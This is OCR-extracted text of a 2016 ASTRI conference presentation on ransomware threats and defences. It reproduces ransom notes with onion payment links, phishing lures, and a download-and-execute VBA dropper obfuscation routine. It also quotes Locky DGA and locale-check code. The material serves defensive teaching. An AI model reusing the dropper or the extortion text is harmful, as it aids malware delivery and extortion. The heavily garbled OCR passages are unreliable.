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The first computer viruses hit personal
computers in the early 1980s, and essentially,
we’ve been in a cyber arms race ever since.

Barack Obama



THE EVOLUTION OF MALWARE

. Invention of PrevalentUse & Threat Intelligence,
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Your personal files are encrypted!

11:58:26

Your documents, photos, databases and other important files have been encrypted
with strongest encryption and unique key, generated for this computer. Private
decryption key is stored on a secret Internet server and nobody can decrypt your
files until you pay and obtain the private key. The server will eliminate the key after a

time period specified in this window.

Open http:/ /maktubuyatg4rfyo.onion. link
or http://maktubuyatg<4riyo.torstorm.org
or http://maktubuyatg4rfyo.tor2web.org
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1M1 IMPORTANT INFORMATION !11

All of your files are encrypted with RSA-2048 and AES-128 ciphers.

More information about the RSA and AES can be found here:
http://en.wikipedia.org/wiki/RSA_(cryptosystem)
http://en.wikipedia.org/wiki/Advanced_Encryption_Standard

Decrypting of your files is only possible with the private key and decrypt program, which is on our secret server.
To receive your private key follow one of the links:

1. http://25z5g623wpqpdwis.tor2web.org/BB76C13F301131C0

2. http://25z5g623wpgpdwis.onion.to/BB76C13F301131CO0

3. http://25z5g623wpgpdwis.onion.cab/BB76C13F301131C0

If all of this addresses are not available, follow these steps:
1. Download and install Tor Browser: https://www.torproject.org/download/download-easy.html
2. After a successful installation, run the browser and wait for initialization.
3. Type in the address bar: 25z5g623wpgpdwis.onion/BB76C13F301131C0
4. Follow the instructions on the site.

I Your personal identification ID: BB/6C13F301131C0 !!!
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More Samples

Disguised as a Pokemon Go app on a
Windows Phone.

Damages: spread over all (network)
drives




More Samples — a bogus one

You are wvwictim of the Chimera® malware.
Maybe some programs no longer Tunction properly!

Please transfer Bitcoins to the the fTollowing address to get
wour unigue key fTile.

Addr e ss : I [T T T
Amount

For the decryption programm and additional informations, please
visit:

If¥ you don't pay wour praivate data, which Include pictures and
videos will be published on the internet in relation on yvour
Mame .

Taks adwvantags of our affiliate-program!
More infTormatcion in the source code aof this fTile




Ransomware

77 ransomware
families identified
in 2014

100 ransomware
families identified
in 2015

or your 4ataq

source: Symantec



Ransomware
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Why Ransomware is so Notorious

JIGSAW deletes encrypted files whenever victims
fail to pay the ransom on the given deadline.

SURPRISE increases the ransom every time victims
miss a deadline.

Some others publish victims’ files and photos if the
deadline is missed



Phishing Email

SZubject ATTHR: Inwvoice 1-6281 8225
7o I Other Actions -

Crear dabkbim,

Flease see the attached inwvoice (MMicrosoft Word Document) and
remit payment according to the terms listed at the bottom of the

MW Ol ce,

Let us kmow if wou hawve armny questions,

wWe oreathy appreciate wvour business!|
Ahram Brewer

= I;@-l attachment: ir‘u‘-.-‘n:Iil:E;J—EEElEEES.-:IDI:I - Sawe |
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Spam Filter and Anti-Virus Failed

Password Protected Attachment
Important - New Outlook Settings .
- GAktiminsstratar <Administratond Ada contact Email message look and read

i CIIGGZIP ATTO9014.1 more | egitimate

o

Please carefully read the attached instructions before updating settings.

This file either contains encrypted master password, used to encrypt other files. Key archival

has been implemented, in order to decrypt the file please use the following password:
PaSdlaoQ

This e-mail and / or any attachment(s) is intended solely for the above-mentioned recipient(s)
and it may contain confidential or privileged information. If you have received it in error,
please notify us immediately at helpdesk@ and delete the e-mail. You must not
copy it, distribute it, disclose it or take any action in reliance on it.

ASTRI Proprietary source: http://www.bleepingcomputer.com/forums/t/506924/original-cryptolocker-ransomware-support-and-help-topic/page-132



The Price of Ransomware

* $613 One machine, one Bitcoin, a significant rise from USD 410 in Q1, and USD 448
in May 2016

* $50,000 Total CryptXXX ransom payments sent to a single Bitcoin
address in a span of three weeks in June 2016

e $201M Total reported losses by ransomware victims for the first three months of

2016
* S1 Billion Estimated total ﬁ ﬁ

ransom payment in 2016
BITCOIN

DIGITAL CURRENCY

source: FBI, TrendMicro
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Big Numbers
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Tox Ransomware Economy

toxicola7aqwv37q].onic
e S50 for a customizable ransomware

binary
Follow us on Tuitter! e Customers set their own ransom
amount and Bitcoin address

What ) ¢ e 10% profit sharing model

How do | make money with Tox?

I I s Y ' '] N Vo Tl e ro MIF accolind al Kap = s 3 } f F | L | | - 1¢
L= 3 LN LG L | ! C LML gy { 3 Wil Dé Crediced o your account. we v 43 = = 3 JL | = = . L= | y oLy s 3 1l J J JEL



Ransomware Types

Encrypting ransomware

« AIDS (aka "PC Cyborg", 1989)
GPCode, Archiveus (2006)
CryptoLocker (2013)
SynoLocker (2014)
RansomWeb (2015)
Ransomware as a service (2016)

Non-encrypting ransomware
* WinLock (2010)
* Windows activation Trojan (2011)
« SourceForge Trojan (2013)
« Forge FBI warning Trojan (2013)

ASTRI Proprietary 16



List of Popular Ransomware

IRansomware|Unicier*.ti:‘iec: Detection Prevention Infographics Download Sources and Contributors

Extensions

.CryptoHasYou.

BaksoCrypt

Bandarchor

.enc
JH

.R4A
R5A

Ih9r
.Blocks
‘bin
.encrypt
.amba

.encrypted
.SecureCrypted
.FuckYourData
.unavailable
.bleepYourFiles
Where_my_files.txt
.encrypted

.locked

locky

.adr

Extension Pattern Ransom Note Filename(s) Comment Encryption Algorithm  Also known as
YOUR_FILES_ARE_LOCKED.txt AES(256)

_ltimestamp]_Slemaill$.777 read_this_file.txt XOR Sevleg

g.g. ._14-05-2016-11-59-36_¢
FILES_BACK txt Tevan-HONEST
README_TXT AES
READ_IT.txt Based on HiddenTear AES (256)
README HOW TO DECRYPT Y Made by creators of Cerber
Read Me (How Decrypt) 11.txt AES(256) AlphaLlocker

MPOMTU_MEHS txt
READ_ME.txt

* How_To_Decrypt.txt

Websites only
amba@riseup.net

decryptionservice@mail.ru

http./fwww. nyxbane.co
https://decrypter.emsis

hitps://github.com/has http://www nyxbone.co

hitp://www.nyxbone.co
hitp://www.bleepingeot

hittp://www. bleepingco
hitp://download.bleepii http://www. bleepingco

https://twitter. com/ben
hit Es:;{decwgt 21, emsis

76 Decryptors out of 174 ransomwares: 44%

Jid{ID]_[EMAIL_ADDRESS]

* How_To_Get_Back.txt Apocalypse ransomware
version which uses

VMprotect

info.txl

info.html

Help Decrypt.html
Based on my-Little-
Ransomware

Files might be partially AES(256) Rakhni

https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIMOYOHvmc5g/pubhtmlI#

ASTRI Proprietary

http://decrypter.emsisc

hitps://decrypteremsis

https://decrypter.emsis http:/www.nyxbone.co
hitps://twitter.com/Jak |

https://reagta.com/201
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Types of Damages Caused by Ransomware

Encryption of corporate and personal Secondary and tertiary damage isclosure of information during
documents and data (encryption of file servers) restoration attempts
AN ~L_d =

[ L 2000

WWW — -

WWWwW ok

Shared PC \<§ 0000

Web exploit  Spam mail = - Internet Competitor
_ NS . AN\ AN
 e— . : “
Primary

victim's PC

File server V

| S | » 4
Corporate shared | SN . ,
server File restoration
service

ASTRI Proprietary 18



What Could Go Wrong

Attacker Sends Spam Filter . Anti-Virus invoice_feb- Microsoft
Spam E-Mail Failed Failed 11379502.doc Word

IP, reputation, New malicious User opens malicious

content not blocked attachment attachment (Word document)

Enable Create & Run Run Windows Download Web Filter Anti-Virus

\YETelge Batch File Script Binary Failed Failed

User enables Lah.bat Cscript.exe Fail.exe Web address is Binary is obfuscated
macro not blocked thus unknown

Run Fail.exe Negotiate Web Filter ' Encrypt Delete Shadow Display Ransom
(ransomware) Encryption Failed Data Copies Notes

Continues as Communication is Removes local
svchost.exe not blocked backups of files



How Ransomware Works

INFECTION DROP & EXEC KEY EXCHANGE

>4 - -
email \\* /E = 1
" *&E N B
7 — = ) T
nerypt
exploit kits Dro ::-:-T Packed UP cie h 1
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C&C Key Exchange

Command & Control

Infected Machine

Server
; :_
i f!" :_ -' . _?’

Gather machine info
™ Extract hardcoded server
. ) public key Kspuls
EEE{‘:II[EE"IIHE info>, Kaes) Generate AES key “a:ﬁ

ESA(Kaes Kspuh} o

O<

Decrypt Kgeg
T Decrypt machine info
| Generate new key pair

(Kencpub: Kencpriv!

‘ BES{ Kgncpub: KRaez) |
o >0

- Wl

ASTRI Proprietary
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Ransomware Obfuscation and De-obfuscation

a @ @ B < 52 ¢+ (& 2 | § Labeli2 oo
B < A fMicrozoft. ¥MLHTITP.
Adodhb.StreamsShell.Application-Wicript.Shell Process-GET-TEHP-T ype.Openwri
tesresponseBodyssavetofiles~ladybi.txt [0 (@ ar s ¥ [E iEH TahomaZ
EGCompOhbh g
L - = " d a vy UBF&»

Obfuscation

Dim EncryptedURLI )

Dim x .

Dim DropURL ASCII:
255-151=104 = h

DropURL = 267-151=116 — t

EncryptedURL = Array(255, 267, 267, 263, 209, 193,...] 267-151=116 — t

For x = LBound[EncryptedURL) To UBoundl[EncryptedURL) 263-151=112 = p
DropURL = DropURL & Chr(EncryptedURL(x) - 151) 209-151=58 = :

Next x 198-151=47 = /

objHTTP. Open , DropURL, False

objHTTP. Send

pathTemp = objProc( "TI )

pathSaveFile = pathTemp + Replacel _
CallByMName objStream, T , WblLet, 1
objStream.Open

rbp = CallByMNamelobjHTTP, ' ", VbGet)

CallByMName objStreanm, ite", YbMethod, rbp

CallByMName objStreanm, tof , WbMethod, pathSaveFile, 2
objShell ., Open [(pathSaveFile]

De-obfuscation

ASTRI Proprietary -



Locky - Domain Generation Algorithm (DGA)

sme 51 e

allos =

!lll::lﬂl.'_l

Far 1dx in randgs (nEathe S12
Ed=] BOLd (w23, d1dx) ;
wld- = BUrEa (Bl 19L 4R W
VWils = wil & GaooIollgR) s
e = oyl
domsin += chr [viZ

domain +=

w15 = ROR4({ (0O=B113

(w15 + BSS53¢E
dofmmain 4= ¢ "

refurn doisaln

source: https://blog.avast.com/a-closer-look-at-the-locky-ransomware
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Locky - Exclusion of Russian PCs

sub 4B85289(vh47, 1);
dword Q9D _=
if ( KGetSystemDefaultLangID{) & @x3FF) *= Bx19
G fGetUserDefaultLangID({) & @x3FF) ?= 8x19
&& fGetUserDefaultUILanguage{) & Bx3FF) *'= 8z19

Sleep({38888u) ;
! = RELFe4dCeKeyExA(HKEY CURREHNT_USER, "'Softwareiislocky™, 8, 8, 8, Bx
if § vi1 )

Ref: https://blog.avast.com/a-closer-look-at-the-locky-ransomware
ASTRI Proprietary 24



Solutions to the Ransomware



Solutions to the Ransomware

Moving quickly to patch published vulnerabilities in software and systems,
including routers and switches that are the components of critical Internet
infrastructure

Educating users about the threat of malicious browser infections
Understanding what actionable threat intelligence really is

Backup

ASTRI Proprietary 0



Cloud Backup + Version Control

Keep a client-side encrypted backup on cloud with multiple previous versions

’ S 7rr) o
EE P boxcryptor U Client-side
— VeraCrypt — 4 aicipher Encrypted

a Multiple

\— H
Bitbucket Previous

Dropbox

&
= &S GitHub

Versions
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ASTRI At a Glance

ASTRI is a government subvention organization, focusing on R&D on information and communication technologies
(ICT), with a mission to perform high quality R&D and transfer technologies to the industries. Annual funding is
around HKD 400 million, about 20% from industry

R&D Capability !f .
500 staff, over 400 R&D f{;‘.

o)
personnel (> 85%) 27% Doctor  yl®
o=l 52% Master |=ile

+#= 20% Bachelor =&,

Patent Portfolio

964/655 filed/granted under
24 IPCs. Tech transfer 530
since 2009. IP pooling with

HKPC, PolyU and BU on ICT

o

()

& .

) //. AR
DI
ASTRI 0//.\
Strategies 5 initiatives + 1 national engineering
Regional needs. Align with National policies. research center
Collaboration Platforms 1. FinTech National Engineering
« Consortiums 2. Next Generation Network Research Center for
« Joint labs & R&D centers 3. Intelligent Manufacturing Application Specific
« Industry and universities Talent training ‘51 gf:;":: gﬁ;h Integrated Circuit System

ASTRIPTOprietary



ASTRI FinTech R&D Areas

Emerging

Regulators & .
Technologies

Government

&
FinTech @

VCs,
Incubators,
| Accelerators

Enterprises,
Consumers
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Organizers Co-organizers Lead Supporting Organization

* The Hong Kong Institute of Bankers
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Cyber Security Summit 2016

HONG KONG MONETARY AUTHORITY
Tr #E < fk A B

ABOUT PUBLICATIC
THE HKMA & RESEARC

Home / Key Information / Press Releases

Press Releases

Launch of the Cybersecurity Fortification Initiative
by the HKMA at Cyber Security Summit 2016

To further enhance the cyber resilience of the banking sector in Hong Kong,
{HKMA)} announced today the launch of a "Cybersecurity Fortification Initi
Summit 2016" (the "“Summit’), in which the HKMA. also serves as the Progra

The CFIl is a new, comprehensive initiative which aims to raise the level of cy!
through a three-pronged approach:

= First, a central element of the CFl is a Cyber Resilience Assessment Framework, which seeks to establish a
common risk-based framework for banks to assess their own risk profiles and determine the level of defence and
resilience required;

= Second, there will be a new Professional Development Programme, which is a training and certification
programme in Hong Kong which aims to increase the supply of qualified professionals in cybersecurity; and

= Third, a new piece of infrastructure namely the Cyber Intelligence Sharing Platform will be developed to allow
sharing of cyber threat intelligence among banks in order to enhance collaboration and uplift cyber resilience.

Speaking at the Summit today, Mr Norman T.L. Chan, Chief Executive of the HKMA,, said “If we wish to raise the
cybersecurity of our banking system to a level commensurate with Hong Kong's position as the leading international
financial centre in Asia, we cannot afford to go slow or lose any time. In a spirit of cooperation to achieve this
common goal, the HKMA, the banking industry and our partners will work closely together to implement this
ambitious but necessary CFl according to plan.”



SecShare — Cyber Intelligence Platform

& secshare.astri.org
SecShare | by ASTRI

SecShare

HKPolice Internal HKMA Internal

Daily update on 09th-May-2016

09/05/2016 // 0 Comments

Security News of Today Banking Industry An Inventory of What
Was Included In the InvestBank Data Dump UAE Bank Suffers...

World Banking Cartel Master Target List from
Anonymous
08/05/2016 // 0 Comments

Anonymous announced the bank target list of #OPICARUS, The
following is the target list: http://www.rothschild.com/ Federal...

Daily update on 06th-May-2016

06/05/2016 // 0 Comments

Security News of Today Data Leakage and Security Breach ‘Stupid’
Locky Network Breached Exclusive: Big data...

Home ASL Attack Cases General Security Discussion Security Updates ASTRI Internal HSBC Inte

&

rnal

Recent Comments

Scott Tse on Setup Network Printer for Mac
OS X Including Secure Print

Scott Tse on Juniper Netscreen OS implanted
with a remotely exploitable backdoor since
2013

Recent Posts

Daily update on 09th-May-2016

World Banking Cartel Master Target List from
Anonymous

Daily update on 06th-May-2016

Common DDoS tools used in Anonymous
group

Daily update on 05th-May-2016

>
)
i

Scott Tse

ASTRI Proprietary



Cyber Range

i
o

* Red vs Blue team cyber attack and defense

* Action based practical training vs theory based

e Attack simulation, war tactics analysis

* 6,000 cyber attack scenarios, 35,000 pieces of malware
 DDoS and botnet simulations

ASTRI Proprietary



HKMA Blockchain
Whitepaper and Proof-of-
Concepts on Identity
Management (KYC, AML),
Trade Finance, and more

Blockchain-based Property
Valuation and Mortgage
Systems




The information contained in this presentation is intended solely for your reference and may be subject to
change without further notice.

Such information's truthfulness, accuracy or completeness is not guaranteed and it may not contain all the
material information concerning Hong Kong Applied Science and Technology Research Institute Company
Limited and/or its affiliates (collectively, "ASTRI"). ASTRI makes no representation or warranty regarding, and
assumes no responsibility or liability for, the truthfulness, accuracy or completeness of any information contained
herein.

In addition, the information may contain projections and forward-looking statements that may reflect ASTRI’s
current views with respect to future events and financial performance. These views are based on current
assumptions which may change over time. ASTRI makes no assurance that such future events will occur, that
such projections will be achieved, or that ASTRI’s assumptions are correct.

Lastly, this presentation does not constitute an offer made by ASTRI whatsoever (including an offer relating to
ASTRI's technologies and/or services).
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End of Presentation
Thank you.

Corporate website: www.astri.org

Contact:

Duncan Wong
duncanwong@astri.org
+852 3406 0319
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